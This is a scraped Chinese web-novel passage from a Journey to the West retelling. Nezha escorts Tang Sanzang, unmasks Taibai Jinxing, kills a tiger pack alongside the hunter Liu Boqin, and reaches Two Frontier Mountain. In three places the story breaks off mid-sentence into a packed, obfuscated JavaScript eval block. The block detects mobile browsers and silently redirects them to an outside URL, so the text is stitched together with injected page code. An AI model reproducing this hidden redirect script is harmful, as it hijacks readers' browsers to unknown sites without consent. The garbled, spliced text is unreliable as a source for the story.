这会儿太白金星正在心里捶胸顿足,这几粒金丹就跟肉包子打狗似的,连个响儿都没听着。更恼人的是观音菩萨那边说变卦就变卦——说好的让他演天神下凡救唐僧的戏码,怎么临时换角儿连通知都没有?
他哪晓得这换人换得火烧眉毛,观音菩萨忙得脚跟打后脑勺,只来得及跟如来玉帝通个气,天庭其他神仙还蒙在鼓里呢。要是早知道这差事已经成了二手货,太白金星宁可蹲在天庭里跟人聊闲天儿,也不会眼巴巴来捡这剩饭。
“可辛苦您老了!”哪吒装模作样地拱手,眼角瞄着太白金星脚下瞥了一眼,这云纹缎面鞋底干净得能当镜子使,连个泥星子都不沾。他心里直乐——这帮神仙做戏也不知道做全套,这老头儿怕是踩着云头来的,装凡人也不知道在泥地里蹭两脚,“不知您在此等候多久了?”
“老汉我在这杵得脚底板都站出茧子了,却是寸步都不敢离啊!”太白金星摸着胡子直晃脑袋,他心中暗赞这小娃子机灵懂事,接茬接得顺溜。自己在这唱会苦情戏,那还不把这唐僧感动得感恩戴德,“这么俊的白马,这么些个箱笼,若是丢了,主人家不得急得跳脚?”
果然唐僧感动得双手合十直作揖,激动得话都说不利索:“老丈大恩大德,贫僧……贫僧……感激不尽!”
“谢他干啥?”哪吒突然变脸,“您老搁这儿装什么大尾巴狼?在这儿杵了半天看热闹,早干嘛去了?怎么早不出手救这和尚?”
太白金星白胡子颤了颤,瞥见唐僧怀疑的眼神,后背直冒冷汗,暗骂哪吒这小鬼怎么不按套路出牌,但还是硬着头皮装糊涂:“小娃娃说什么胡话呢?”
“还装蒜是吧!”哪吒混天绫甩出个旋风,卷起丛灌木砸过去。太白金星闪身躲开,却是眨眼功夫就现出白发垂髫的仙官模样,“你这混小子!怎么说打就打!”
“小爷我手下留着情呢,心里有数得很!”哪吒抱着胳膊嘚瑟,那丛灌木歪歪扭扭砸在十步开外的山壁上,连根头发丝都没碰着,原本就只是想吓吓人而已,“要不然你还能在这儿装模作样?”
唐僧惊得合不拢嘴:“当真是天宫下来的神仙?”
“你个老东西在这儿蹲着,就由着豺狼虎豹吃人?”哪吒火尖枪的枪尖直指太白金星鼻尖。
太白金星讪笑着往后退了半步,老脸臊得通红——这事儿确实是他理亏。他原打算等唐僧被逼到悬崖边上再从天而降,既能显摆神通又能赚个人情,谁料半路杀出个哪吒。既然身份已经暴露,他搓着手赔笑,还想往回找补两句:“圣僧自有上天庇佑,吉人自有天相嘛……”
哪吒咄咄逼人:“那俩随从就该喂了妖怪?他们的命就不是命了?”
天庭眼里凡人不过草芥,那俩随从的命哪抵得上取经人金贵。太白金星自然也是这样想的,可这话不能直说,而且他虽漠视不管,但那俩人陪着唐僧走了上千里路,在唐僧心中的分量却是不轻。
眼见唐僧脸色铁青得能拧出水来,他赶紧掐诀化作青光遁走,溜得比兔子还快,连个名号都不敢留。
“得亏下界时变了模样……”太白金星踩着云头擦着冷汗,今儿这出戏算是砸了——人没救成不说,反倒是差点跟取经人结上梁子。
马蹄子嘚嘚响着碾过碎石路,哪吒突然一把扯住缰绳,绷着脸甩出句话:“和尚,你真信什么天命所归吗?”
佛珠在指间转了三转,唐僧望着远处山峦起伏的轮廓,长长叹了声气:“贫僧只知道,若不是我,那两位本不该命丧妖口。”
太白金星踩着云头刚喘匀气,迎面就撞见三太子盘腿坐在云上嗑瓜子,这位在这看戏已有多时了:“哟,这不是星君大人嘛,怎么急匆匆地跑这么快?”
“三太子今儿个怎么有空来这边溜达?”太白金星忽然想起刚刚那个伶牙俐齿的小鬼头,那模样那气质,岂不就是袖珍版的三太子,“那奶娃娃什么来头?跟此前说好的怎么不一样呢!”
三太子把瓜子壳往云海里一撒,装模作样叹气:“那孩子是我师父太乙真人新收的小师弟,跟观音菩萨打过招呼,要陪金蝉子转世走趟西天。”
三太子说着把混天绫绕在手指上转圈圈:“本想着提前给您透个风,哪曾想您老跑得这么快。
虽说那小哪吒至今从未点头认过拜师这回事,不过太乙真人与三太子都早已默认了,总不能眼见这孩子碰壁吃亏吧。
“敢情是这么档子事儿。”太白金星揉着突突直跳的太阳穴——什么没来得及,分明是故意蹲这儿看自己出洋相!不过阐教那帮金仙确实惹不起,听说那奶娃娃是太乙真人新收的徒弟,太白金星心里那点小疙瘩立刻烟消云散了。
这老道当年在封神大劫里送了多少人上榜,数起来怕是要从南天门排到蓬莱岛,这谁敢触他的霉头?
“三太子可要同回天庭?正好路上有个伴儿。”太白金星捋着白胡子发出邀请。
“您老先回吧。”三太子跷着二郎腿往云里一躺,眼珠子都快粘在云层下了,愣是没分半个眼神给太白金星,“我这小师弟刚上路,当师兄的得多照看两眼。”
太白金星驾着云飞出老远,忽然一个激灵:方才三太子那盯着下界的眼神,温柔得让人起鸡皮疙瘩,这杀星转性了不成?
“不对啊!”太白金星在半空突然急刹车,“这三太子说是同门师兄弟,咋能长得跟一个模子
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15123295|163632||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刻的似的?连那副天不怕地不怕的混账脾气都一模一样!这托塔天王家里最近也没听说添丁进口啊?”
他脑子里突然炸了个响雷——什么师兄弟,这分明是三太子在凡间的亲儿子!怪不得藏着掖着,定是下凡沾了红尘,跟哪个凡间姑娘生的孩子,怕被天庭发现触犯天条,才求着太乙真人收作徒弟打掩护!
太白金星越想越来劲,老脸笑出十八道褶子,先前被小哪吒怼的憋屈全散了,这会儿连驾云都哼起了小曲儿。虽说这回没捞着唐僧的人情,可攥着三太子这么大个把柄,倒也不虚此行。
他盘算着要把这秘密保管好,今后说不定就能卖三太子个天大的人情。不过话说回来,这莲藕做的身子骨,也能生孩子吗?
这念头在太白金星脑子里打了个转儿,立马被他一甩拂尘扫没了。现成的大胖小子都搁眼前晃悠了,证据确凿的事儿,还琢磨这些有的没的干啥?
那边三太子在云头上伸了个懒腰,他溜号也不能溜得太明目张胆。眼瞅着那小哪吒领着唐僧走上官道,这才打了个哈欠,踩着风火轮回天庭点卯去了。
“和尚,这该往哪边走啊?”哪吒左看看右望望,左边是望不到头的林子,右边是扎堆的灌木丛,这地界他两眼一抹黑——当年他也就对陈塘关熟悉一些,可这西游世界,连陈塘关都早已没了踪影。
唐僧脑门沁出层薄汗,把羊皮地图翻来覆去折腾成了卷饼:“阿弥陀佛……贫僧这地图上标注的岔口,与眼前光景实在对不上……”
之前探路开道的活儿都是那俩长随包圆了,唐僧这辈子连长安城都没出过几回,这会儿攥着地图连自己杵在哪个山头都闹不明白,压根分不清哪边是东哪边是西。
“走路慢吞吞,认路全靠蒙,就这本事还敢闯西天?"哪吒把地图扯过来时翻了个大白眼,"小爷上天去探探路,你可别跟没头苍蝇似的乱窜。”
要说这地图画得有多离谱呢?上头歪七扭八的墨痕说是蚯蚓爬的都算抬举,哪吒瞪着那些鬼画符似的线条,横看竖看大半天,看得脑仁直抽抽。
他踩着风火轮在云里雾里兜了七八个圈子,总算把方位给捋顺了。要是把这和尚拴在风火轮下边,他卯足劲往西边直接飞,怕不是这会儿都能到灵山门口了。
可惜观音菩萨早撂过话,不能搞这种偷工减料的把戏,非得让这取经人徒步走上十万八千里才能显出诚心。可这和尚不也骑着马呢,算哪门子徒步?
哪吒转念想起方才山道上,唐僧走两步就扶着树喘大气、歇五步就掏帕子擦虚汗的怂样,得,还是给这软脚虾开个后门吧,省得走不到百十里地就得给他收尸。
“和尚,咱们走吧,找着道了!”哪吒踩着风火轮唰啦落地,话没说完就瞪圆了眼——七八头吊睛白额虎正围着唐僧转圈,狼群在灌木丛里眼冒绿光,要不是旁边有个汉子舞枪舞得密不透风,这会儿怕是连骨头都被啃干净了。
15.第 15 章
“哎哟我的天老爷,您这是捅了老虎窝还是咋的?”哪吒瞅着被虎群围成粽子的唐僧,见那和尚骑在白马上,进不敢进退不敢退的怂样,看得他又是来气又是好笑,“叫你乖乖待着偏不听话!小爷前脚刚走,后脚你就招来这群畜生!”
白马吓得四蹄发软,一步都不敢挪。唐僧攥着缰绳直往后缩,委屈极了:“贫僧当真半步未动,实属冤枉啊……”
旁边正和虎群厮杀的壮汉原本听见人声心头一喜,仰头却看见个扎冲天鬏、套红肚兜的小奶娃子,顿时叫苦不迭——这小娃娃粉团子似的,怕不是给老虎送上门的饭后甜点。
这汉子不是别人,正是江湖人称“镇山太保”的刘伯钦。平日里他在山里打猎为生,方圆百里的豺狼虎豹见着他都得夹着尾巴逃。可今儿这群畜生跟中了邪似的,眼珠子通红不要命地往上扑,他胳膊上已然挂了彩,皮袄子都撕成了破布条。
刘伯钦用力挥刀劈开一头扑上来的老虎,后背早被冷汗浸透了。他平日里单挑两头猛虎都不在话下,可眼下这虎豹豺狼跟赶集似的涌过来,这谁能顶得住?他被震得虎口发麻,心说这回怕是要把命搭进去——打虎的让虎啃了,还真是阎王爷安排好的戏码。
“小娃娃你快逃命吧!”刘伯钦扯着嗓子冲哪吒喊,那孩子站在虎群的包围圈外头,这会儿掉头往林子里钻还来得及。可他眼瞅着那娃娃非但不跑,还拎着杆长枪往兽群里窜,急得他直冒汗。
“逃?小爷生下来就不知道这个字儿怎么写!”哪吒把火尖枪耍了个枪花,随着他步步逼近,周身气势节节攀升,惊得前方野狼直往后缩,“该夹着尾巴逃命的,是这帮长毛畜生才对!”
说话间哪吒已然瞧出端倪——这些猛兽身上绕着若有似无的黑气,分明是刚开灵智的妖物。八成是刚才捣毁妖窟时漏网的杂碎,这会儿组团报仇来了。
哪吒周身煞气跟滚水似的翻腾,站在虎群面前活脱脱就是个索命修罗。那群豺狼虎豹光会呲牙咧嘴干嚎,爪子扒拉着地面,愣是没一个敢往前扑——这哪像要吃人的猛兽,活脱脱一群被吓傻了的病猫。
“一群怂包!搁这儿嗷呜半天,给小爷唱戏呢?”哪吒把火尖枪往肩上一扛,咧嘴一乐,“你们不过来,小爷可要请你们吃枪尖儿了!”
要不说畜生就是畜生,天生就是榆木脑袋,连保命的本事都学不会。洞里头成了精的虎王都被这哪吒一把火烧成了灰,这帮连人话都不会说的蠢货还上赶着送死。有这闲工夫,趁早滚回山头当个土霸王,不比送上门当烤串强?
哪吒可没打算放过这群畜生,方才他听那老头儿念叨过,这双叉岭就是个虎狼窝,豺狼虎豹多得跟蚂蚁似的,过往行人稍不留神就成了它们的点心。今儿要是把这窝害人精连锅端了,多少能攒点功德。
想到这里,哪吒这会儿突然咂摸出味儿来了,怪不得太乙老头不让他靠宰妖怪刷功德。这么整下去,早晚得变成杀红了眼见妖就砍的屠夫,跟他自己最瞧不上的那种冷血货色有啥两样?
刘伯钦拄着长枪直喘粗气,眼珠子都快瞪出来了。先前跟他打得有来有回,甚至凭着数量优势压着他打的吊睛白额虎,被那娃娃的红绫子一卷、火尖枪一挑,就跟下饺子似的噼里啪啦倒下一片。剩下的夹着尾巴要逃,哪晓得小哪吒早把四面八方都封死了,真真是一锅端了个干净。
“和尚没吓掉魂吧?”就这几只三脚猫功夫的畜生,给哪吒热身都不够使,他绕着唐僧蹦跶两圈,见唐僧没啥大问题,这才松了口气。
哪吒说着又抬脚踹了踹瘫软的白马,这白马此前哪见过这等凶险场面,竟是吓得尿了一地,他忍不住乐道:“好家伙,这马都吓成这样了,改明儿得备个尿壶拴马鞍上!”
哪吒嘴上不说,却在心里腹诽这和尚真是个麻烦精转世——前脚刚离人,后脚就能招来豺狼虎豹开宴席,比庙会上的糖人儿还招虫子。
唐僧一天内经历几番生死考验,心脏病都快出来了,他正扶着树干喘气,闻言苦笑道:“多亏这位壮士拼死相护……”
“快别提了!”刘伯钦瘫坐在石头旁,猎刀都砍成了锯条,他掌心在裤腿上蹭了又蹭才敢抱拳,“在下这三脚猫功夫让小神仙见笑了,本想逞英雄,倒成了拖后腿的。”
说着他后脖颈直冒冷汗——方才要不是红绫子及时卷走扑来的猛虎,他这会怕是已经身首异处了。
“这位大哥真是仗义!这份人情,小爷记着了!”哪吒收起火尖枪,像模像样朝着刘伯钦抱拳道。甭管功夫咋样,本事够不够使,可敢为个素不相识的和尚跟虎群拼命,这份侠义心肠就比那些见死不救的神仙强百倍。
“当不得当不得!”刘伯钦这会缓过劲儿来,他搓着满是老茧的手,盯着满地虎尸眼睛发亮,“要说这些畜生……小神仙能不能让在下收拾了去?”
“留这玩意儿干啥?”哪吒说着指尖窜出火星子,“小爷可没闲心收拾这些。不过堆在路边臭了也怪埋汰的,干脆点把火烧成灰,还省得招苍蝇。”
“别烧别烧!”刘伯钦张开双臂拦在虎尸前,急得直跺脚,“您要是瞧不上这些虎皮,不如赏给小的——这整张的虎皮送到城里皮货铺,够给全庄人扯新衣裳了!”
他蹲下翻看虎尸,被火尖枪捅死的那些毛皮焦黑带窟窿,只能当次等货。可混天绫勒死的却是油光水滑整张皮,摊开来能当大户人家的厅堂地毯,拿着银钱都买不着。
平日里猎户挖陷阱、放冷箭,哪回不得扎出三五个窟窿眼儿?像这样齐整的虎皮,祖坟冒青烟才能撞见一张!
“这个嘛……”
见哪吒面露难色,刘伯钦又忙不迭地补充道:“自然不能让小神仙白忙活,卖了皮子咱们三七分账…….不,二八也成!”
唐僧双手合十直摇头:“出家人四大皆空,怎可……”
见唐僧想要推辞,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15131900|163632||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
哪吒蹦跶得比蚂蚱还高,他一把拽住刘伯钦的胳膊:“成交!这些皮子都归你!”
谁打的猎,自然是谁说了算,哪轮得着别人指手画脚。哪吒说着冲唐僧翻了个大白眼——这败家和尚,他在集市上累死累活,一下午才挣几吊钱。这傻和尚倒好,金山银山往外推。
唐僧自知说错话,低头捻着佛珠不吭声。刘伯钦瞅着俩人气氛不对,赶忙打圆场:“寒舍就在前头山坳里,眼瞅着日头快落山了,二位不如去庄上歇歇脚,明儿个再赶路?”
刘伯钦说着朝林外小路指了指,反正这荒郊野岭的也不怕人偷虎尸,盘算着等安顿好贵客,回头就喊庄丁套个牛车拉几捆麻绳来拖便是。
唐僧扶着马鞍下马合十:“阿弥陀佛,有劳施主了。”
路上刘伯钦套近乎才晓得,这白净和尚竟是从东土大唐而来,奉皇命去西天取经的。而旁边那小娃娃更了不得,竟是观音菩萨亲点的护法神将!
这老猎户惊得直咂舌,先前还当唐僧不过是个寻常僧人,这会儿却是一口一个“圣僧”,殷勤得跟见着活菩萨似的。
哪吒原以为猎户说的庄子顶破天是个篱笆院,谁知转过山坳竟见着座带箭楼的城寨。青石垒的围墙里炊烟袅袅,东边围栏里还圈着不少獐子麋鹿,
“嚯!你们都住在这等好地方?”哪吒踮脚数着寨子里的田舍,“这獐子养着做什么?”
“这穷山恶水的,养猪养羊还不够喂狼的。”刘伯钦得意地说道,“您瞧那花斑獐,炖汤可比羊肉鲜十倍!”
当晚庄子里张灯结彩跟过大年似的。刘伯钦带着牛车拉回兽尸时,老少妇孺夹道欢迎——往常下套十天半月才能逮着几只猎物,今儿这堆成小山的豺狼虎豹,可谓是赚得盆满钵满,够寨子里百十口人吃香喝辣好些年了。
刘伯钦这边忙着招呼庄户们剥虎皮、剔狼骨,厨房锅铲叮叮当当响个不停。等到菜上桌时,山珍野味摆得活像御膳房端出来似的——獐子腿炖得油香扑鼻,麋鹿蹄蒸得骨酥肉烂,最绝的是那炭烤虎排在火上滋滋冒油,香气直往哪吒鼻子里钻,馋得他一个劲咽唾沫。"
小哪吒叼着鹿腿嚼得满嘴流油,以前在陈塘关顿顿鱼虾蟹,哪尝过这等山野滋味。柴火饭更是焖得粒粒透亮,香得他连扒三碗。
“再来一碗!”哪吒咣当放下空碗直嚷嚷,这孩子正是抽条长个的年纪,偏生到了这西游世界就没吃过几顿饱饭——七绝山那顿算是吃痛快了,可到了南海普陀山,成天不是啃清心莲子,就是喝荷花露水,素净得能照见人影,勉强吊着命罢了。
“庄子里的粗茶淡饭可还入得了口?”刘伯钦见着哪吒活像供着尊财神,又是添饭又是舀汤,围着他团团转,生怕漏了礼数。
“太好吃啦!”哪吒腮帮子塞得鼓鼓囊囊,嘴角还粘着三粒米饭,他忽然歪着脑袋瞅唐僧,“和尚你盯着饭碗发啥呆?是这饭菜不合胃口吗?咋不动筷子呢?”
16.第 16 章
唐僧只抿了两口茶汤,桌上的米饭和素菜连筷子都没沾,绷着张脸苦大仇深的模样,倒像是主人家欠了他钱。
要换别人说这番话,唐僧早当是存心拿他开涮。可瞅着哪吒那张稚嫩的娃娃脸,更别提今儿个还被这小祖宗从虎口里捞出来两回,到嘴边的道理在喉咙里滚了三滚,青筋在太阳穴突突直跳,终究还是咽回肚里。
唐僧此时最想不明白的是——观音菩萨若是派个护法送他西行,怎么不派个懂佛法的罗汉来?偏偏弄来个胡搅蛮缠的小魔星,难道这也是西天路上必经的劫数?
最后他只能长叹一声,闭着眼睛嘟嘟囔囔念起清心咒。
“佛门弟子不沾荤腥。”刘伯钦赶紧笑着向哪吒解释,又转头对唐僧道,“圣僧莫要多心,这素菜是专程用新锅新铲炒的,没有半点油腥味。您若嫌菜色寡淡,我这就吩咐厨房再添几道素斋。”
按佛门规矩,别说荤腥肉食,就是锅铲沾过油腥那都算破戒。唐僧先前盯着那盘素菜心里直打鼓,生怕是拿炒过肉的铁锅做的,因此沾都不敢沾,半天没敢下嘴。
“施主费心了。”唐僧这才松开眉头,端起碗扒拉两口白饭,“出家人不贪食,能填饱肚子就行了。”
哪吒叼着鹿腿直翻白眼——这和尚跟南海龙女一个德行,恨不得整天喝露水啃竹叶。他在那琢磨半天,终是没憋住:“这也不能吃,那也不能玩,你们这当和尚的,到底活得有啥滋味?”
唐僧拿着筷子细嚼慢咽,闷葫芦似的杵在边上。他打小在庙里长大,早习惯了清汤寡水的日子,压根没觉着吃素念经有啥不妥。要换别人这么挤兑,他高低得辩几句佛理,但既然是哪吒这样说话,他索性装聋作哑。
倒是刘伯钦觉得有些过意不去,替他找补:“出家人讲究慈悲为怀,怜悯众生,自是不忍杀生。”
刘伯钦这会儿总算琢磨过味儿了,他原本寻思着,既是观音菩萨钦点的保镖,这小哪吒自然是通晓佛家经典,对唐僧言听计从。可眼下瞧着完全不是那么回事,这小祖宗压根就不懂什么佛法,宰起妖怪来倒是把好手。
这哪是什么佛门护法,分明是杀神转世!
“慈悲能当饭吃?要按这道理,豺狼虎豹吃人的时候,难不成跪下来求它们发发慈悲就行了?”哪吒摇了摇头,他向来是人不犯我我不犯人,人若犯我斩草除根,说着扭头看向刘伯钦,“刘大哥莫不是也信佛?说得头头是道的。”
“看我手上血淋淋的,哪像个吃斋念佛的人啊?”刘伯钦搓着手上老茧直笑,“不过我老娘整天烧香磕头,家里供着个金灿灿的菩萨像,香灰都能堆成小山了。”
哪吒托着腮帮子,指节敲得瓷碗叮当响,心里嘀咕——这帮和尚本事不咋地,倒是挺会传教,连这鸟不拉屎的山沟沟里都有人信。
“对了圣僧!”刘伯钦突然一拍脑门,“差点把正事忘了,明日赶得巧,正是家父忌辰,家母特意嘱咐,斗胆请您给念卷经……”
他挠着后脖子有点不好意思,说着竟要起身作揖。唐僧的话刚滚到舌尖,哪吒蹭地蹿起来拍胸脯:“这事儿包在我们身上!这和尚别的不行,念经可比知了叫得还顺溜!”
唐僧听着这话,云淡风轻的表情都快维持不住了。他自幼熟读经卷,精通佛法,在长安城里是被无数人推崇的大唐高僧,到了这熊孩子的嘴里,就成了个啥也不会,只会念经的呆和尚了。
可转念想到刘伯钦先前拼了命护他周全,唐僧自然没有推辞的道理,他的语气带着三分憋屈七分认命:“施主言重了,超度亡魂本是贫僧分内事。”
“可算找着救星了!”刘伯钦连连道谢,“明日给老父上香时,总算能跟老母亲交差喽!”
第二天天还没大亮,哪吒正四仰八叉睡得香,就被院里“梆梆梆”的木鱼声震醒了。他顶着鸡窝头掀开窗缝,瞧见唐僧裹着袈裟在晨雾里念经,活像只打鸣的公鸡。
“鸡都还没叫呢!”哪吒打了个呵欠,揉着眼睛往院门走,正撞见刘伯钦端着粥碗过来,“这和尚怎么比鸡还起得早啊?”
刘伯钦忙着把碗筷放在桌上,瞄了眼廊下闭目合掌的唐僧,压低嗓子:“圣僧天没亮就起来念什么度亡经,饭都不肯吃,非说超度要紧。”
他活了大半辈子,没见过这么上赶着帮忙的,这也未免太热心了。
哪吒踮脚瞅见唐僧脑门上的露水珠,噗嗤乐了——这和尚自打被说成吃白饭的,怕是憋着股气呢,瞧这念经的架势,敢情是逮着机会要显摆本事。
这可还真别说,唐僧这回是真下了狠劲,从天蒙蒙亮到晌午头,愣是滴水未进,喉咙哑得冒烟,硬生生把砖头厚的度亡经囫囵念完不说,还捎带把金刚经、观音经轮着念了个遍,最后咬牙工工整整写了三页纸的荐亡疏。
他抹了把脑门上的汗,但心情却觉得畅快多了,往正堂走时脚下都生风,满心以为能见着庄里人感激得抹眼泪呢,谁成想还没跨过门槛,就听见里头叮叮当当——
“哎哎!那条腿再翘高点!”
“红绸子往肩上甩!对对对!就这个降龙伏虎的架势!”
“枪尖再往上挑半寸!”
唐僧杵在门口直发愣,刘伯钦搓着手凑过来:“圣僧您看这手艺咋样?庄子里老少都说小神仙是活财神,大伙儿合计着给他塑个金身!等开光了供在祠堂,保咱庄子年年满仓!”
唐僧连连称好,心里却有些哑然,敢情自己忙活大半天,又是念经又是写文书,结果连个谢字都没捞着。那边泥瓦匠正给木像描金边,那雕出来的小哪吒扛着火尖枪呲牙笑,活脱脱就是本尊,倒衬得他像个跑龙套的。
“真不赖!”哪吒背着手绕自己的塑像转了三圈,自己看自己自然带着八百层滤镜,那混天绫红得鲜亮,火尖枪寒芒四射,踩着风火轮的少年神将威风凛凛,他越看越欢喜,忍不住叉腰夸道:“简直帅得冒泡!”
抬眼瞧见唐僧正往这边走,哪吒赶忙招手:"和尚快来看!"
这庄子里的工匠们虽然在这穷乡僻壤,但手上的功夫倒是一点不含糊。那哪吒像活脱得像要跳下来,连衣角褶皱都透着灵气。
可问题偏偏出在这儿——这木雕娃娃顶着冲天鬏,腮帮子鼓得圆滚滚,龇着虎牙笑得没心没肺。这般憨态可掬的模样摆在屋里,别说镇宅辟邪,招猫逗狗还差不多。
唐僧望着哪吒亮晶晶的期待眼神,把到嘴边的实话咽了回去:“甚好,甚好。”
“瞧见没!”哪吒下巴扬得能挂灯笼,“小爷这颜值这气场,三界独一份!”
刘伯钦彩虹屁吹得震天响:“小神仙您这模样是天底下头一份的俊俏,法力更是顶顶厉害!今早庄子里差人把双叉岭摸了个遍,您猜怎么着?豺狼虎豹都快绝户了!全靠您积德行善呐!"
要说这双叉岭原是块吃人地界,深山里盘着成了精的豺狼虎
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15137824|163632||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
豹,连刘伯钦这等猛人路过都得兜大圈。早年间山脚还住着百十户人家,后来逃得只剩些刀尖舔血的猎户,全因山里藏着几个专吃活人的妖王。
今早庄子里有庄丁兴奋过头误闯进去,本以为是送死,谁知洞窟空得能跑马。别说虎大王,连根虎毛都找不见,里面的尸骨也被收敛干净,倒是凭空多出座无名土坟。用脚指头想都明白,定是哪吒他们昨儿收拾利索了。
“那你们往后打猎咋办?”哪吒挠着后脑勺,“满山的豺狼虎豹可都被我宰干净了。”
“没有大虫,总还有獐子野兔呢。”刘伯钦搓着粗糙的手掌直笑,“而且这地界本是块肥得流油的宝地,前些年闹妖怪才撂了荒,如今您给拾掇干净了,开春就能种上了!”
原来这双叉岭本是大唐边关的咽喉要道,按常理该是驼铃叮当、胡商扎堆的热闹去处。自打妖怪占山为王,商队宁可绕三百里也不敢过。如今有哪吒端了妖窟,想必来年又能渐渐恢复繁荣。
正说着话,满庄子老小呼啦啦跪成一片,慌得哪吒直摆手:“这是做什么?使不得使不得!”
这一拜倒拜出个新鲜,哪吒觉着胸口暖融融的,莲藕身子的裂痕似乎又弥补了一点,他忽然猜到这是什么——大约是香火凝成的愿力。
唐僧在边上跟个木头桩子似的杵着,倒也不恼——端了妖怪老窝的确实是哪吒,受这份香火也是应当。他袈裟袖子一拢,权当看个热闹。
庄户们听说他们还要赶路,麻溜地蒸了些胡麻饼,又装了满满的腌菜肉干。唐僧急得直摆手摇头,哪吒大大方方把包袱收了下来:“谢了啊!正愁路上没吃的呢!”
最让哪吒眉开眼笑的还是那包碎银子,虎皮得找皮货商才能换钱,刘伯钦只好把庄子里压箱底的银子全拿出来了。哪吒倒也实在,掂量着只抓了一小把,权当是辛苦费:“剩下的你们留着买种子吧!等虎皮卖了钱,记得再给小爷立个碑!”
刘伯钦拍着胸脯应得响亮:“好说!包在我身上!”
哪吒哪知道,后来刘伯钦在庄子东头整整给他立了一面墙的功德碑,西头还盖起了一座哪吒庙,连打谷场都立着扛火尖枪的雕像。过路人争着往碑上题首诗、留个名,香火鼎盛得跟诸葛祠似的,倒叫哪吒又平添了不少香火愿力。
哪吒手里那张地图画得跟鬼画符似的,不是老江湖根本看不懂。刘伯钦听说这事,二话不说把压箱底的牛皮地图塞过来——虽说这图只画了方圆数百里,可每道山沟都标得明明白白,倒是省了他们寻路的功夫。
老猎户还叫上俩壮实家丁,背着弓箭挎着弩,陪着哪吒他们往西又走了半日。日头偏西时,眼前忽地冒出座云雾缭绕的险峰。
“二位请看!这儿叫两界山,东边是大唐疆土,那头就是鞑靼的地盘了。”刘伯钦说着抱拳团团作揖,“在下就送到这儿了。”
唐僧合十行礼谢了又谢,哪吒冲他们挥手:“等小爷取完经,带西域蜜瓜回来给你们尝鲜!”
刘伯钦前脚刚走,哪吒和唐僧后脚才转过山坳,半空里突然炸响挨了雷劈似的声音:“师——父——!”
哪吒被吓得一蹦三尺高,那匹苦命的白马更惨——先前才被妖怪吓尿过,这会遭这嗓子突袭,差点没吓得趴窝。唐僧抱着马脖子晃成个拨浪鼓,好险没滚下马背。
“哪个缺德鬼嚎丧呢!”哪吒揉着突突跳的太阳穴,火尖枪在地上一杵火星子直冒。
17.第 17 章
哪吒踩着风火轮蹿到半空张望,可这暮色浓得跟泼了墨似的,乱草丛里影影绰绰看不真切。他索性反手将火尖枪往地里一戳:“土地老头儿,别猫着了!”
山根儿底下腾起股青烟,钻出个驼背老头。这土地公裹着褐色粗布褂,后腰别着的烟袋锅子直打晃,先前他带哪吒去寻过唐僧所在的妖窟,这会儿眯眼一瞅是这位,忙作揖道:“小神在此,大仙又要收拾哪路妖怪?”
要说这土地公虽是天庭跑腿的芝麻官,法力低微,可方圆百里的耗子洞都门儿清。平日里帮百姓找找走失的牲口,指点个风调雨顺,倒也算个地头蛇,也不是寻常修士能呼来喝去的。
哪吒能随叫随到,还是托了观音菩萨的面子,她怕这小煞星蛮干胡来,特意教了他几招使唤土地山神的法子。土地公早听说哪吒替这方百姓拔了毒瘤,正愁没处谢呢,这会儿听见哪吒吆喝,揣着烟袋连滚带爬就来了。
“老头儿,这破山头底下镇着什么妖怪?”哪吒揉着嗡嗡响的耳朵,“方才那嗓子嚎得跟打雷似的!”
兴许是听不见人回应,那动静这会儿倒消停了。哪吒想去看个究竟,又怕前脚刚走,后脚唐僧就惹出什么祸来,因此不敢远离半步。
“底下压着的那位爷,可不是什么妖怪,是五百年前搅得三界鸡飞狗跳的那位齐天大圣……”土地公一瞅这山就明白这是在哪,话说到半截瞥见唐僧,烟袋哐当落在地上,激动得眼泪都快掉下来了,“圣僧!小老儿盼星星盼月亮,可算把您给盼来了!”
原来这土地公不光是看山的,还得兼职牢头。这些年他别说回天庭述职,连去隔壁山头串门都得掐着时辰——毕竟得按时给五指山下那位塞铜丸子、灌铁汁水,比养个祖宗还费劲。
“等贫僧做什么?”唐僧捻佛珠的手顿了顿,满脸写着个懵字。
“圣僧有所不知,山下压着的那位爷,早年间在天庭当弼马温,后来闹脾气把蟠桃宴掀了个底朝天,是蹬着筋斗云大闹过天宫的主儿!”土地公神神秘秘地朝乱石堆努嘴,“玉帝派十万天兵愣是逮不住,最后如来佛祖一巴掌把他拍山下,一压就是五百年!”
土地公一激动,说得唾沫星子横飞:“前些日子观音大士特意交代,说只要他肯护送东土圣僧取真经,便能重获自由,洗脱罪责。哎呀,您可算来了!”
“闹天宫?”哪吒眼睛唰地亮了,“真有人敢闹天宫?”
